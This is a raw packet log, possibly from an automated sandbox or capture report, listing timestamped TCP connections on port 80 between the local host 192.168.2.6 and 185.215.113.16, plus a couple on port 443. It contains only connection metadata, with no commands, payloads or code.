Jul 26, 2024 10:36:21.739289045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.739567995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.739583969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.739594936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.739605904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.739617109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.739618063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.739631891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.739638090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.739660978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.739691019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.740466118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.740478039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.740499973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.740511894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.740523100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.740534067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.740552902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.740554094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.740554094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.740554094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.740596056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.741453886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.741466045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.741478920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.741491079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.741501093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.741511106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.741540909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.741560936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.742321014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.742332935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.742367983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.742379904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.742378950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.742386103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.742397070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.742397070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.742433071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.742460012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.743105888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.743118048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.743161917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.743174076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.743186951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.743196964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.743207932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.743231058 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.743259907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.743999004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744010925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744020939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744033098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744043112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744054079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744057894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.744066954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.744081974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.744117022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.744117022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.757854939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.757972002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.782438993 CEST	443	49717	173.222.162.64	192.168.2.6
Jul 26, 2024 10:36:21.782509089 CEST	49717	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:21.789068937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789124012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789160013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789161921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.789191961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.789217949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.789480925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789515018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789537907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.789549112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789561033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.789583921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.789647102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.790240049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.790273905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.790301085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.790307045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.790322065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.790340900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.790369034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.790373087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.790405989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.790417910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.790419102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.790450096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791384935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791419983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791445971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791452885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791464090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791486979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791505098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791520119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791543007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791553974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791563988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791589022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.791605949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.791635036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792015076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792048931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792073011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792083025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792089939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792115927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792129993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792150021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792164087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792182922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792200089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792216063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.792234898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792270899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.792990923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793025970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793061018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793085098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.793107033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.793118954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793153048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793186903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793204069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.793775082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.793936014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793971062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.793992996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.794004917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.794014931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.794038057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.794050932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.794131041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.794151068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.794166088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.794197083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.794214964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.794269085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.795054913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795089960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795111895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.795123100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795159101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795176029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.795192003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795203924 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.795238972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.795255899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795290947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.795305014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.795366049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838088989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838160992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838200092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838200092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838275909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838313103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838344097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838444948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838606119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838640928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838655949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838675022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838692904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838711023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.838716030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.838768959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.839267969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839302063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839334965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839370966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839420080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.839420080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.839795113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839828968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839855909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.839863062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.839880943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.839909077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.839971066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840003967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840015888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840040922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840051889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840096951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840768099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840802908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840833902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840837955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840872049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840879917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840904951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840907097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840924978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840941906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.840953112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.840991974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.841697931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.841732025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.841757059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.841766119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.841777086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.841800928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.841811895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.841834068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.841845036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.841873884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.841882944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.841960907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.842478991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.842513084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.842530012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.842546940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.842556953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.842581034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.842603922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.842616081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.842629910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.842650890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.842669010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.842706919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.843391895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.843425989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.843446016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.843460083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.843471050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.843494892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.843518019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.843529940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.843540907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.843564987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.843574047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.843697071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.844326019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844360113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844393969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844404936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.844427109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844444990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.844460011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844475031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.844520092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844552994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.844578981 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.844615936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.845292091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845328093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845336914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.845362902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845396996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845407963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.845429897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845464945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845465899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.845465899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.845498085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.845506907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.845546961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.846220970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.846257925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.846291065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.846316099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.846326113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.846343040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.846365929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.878685951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.878787041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.878803015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.878839016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.878849030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.879077911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.879102945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.879117012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.879131079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.879231930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.879542112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.879575014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.879610062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.879611015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.879627943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.879890919 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880136013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880170107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880203009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880224943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880235910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880242109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880270958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880285025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880305052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880338907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880342007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880342007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880405903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880439997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880453110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880567074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880660057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880692959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880706072 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880726099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880736113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880763054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.880784988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.880827904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.881690025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.881725073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.881745100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.881756067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.881793022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.881808996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.881840944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882319927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882354021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882385969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882405043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882420063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882428885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882471085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882503986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882517099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882549047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882554054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882605076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882637978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882652998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882672071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882704973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882716894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882740021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882755995 CEST	49713	80	192.168.2.6	185.215.113.16
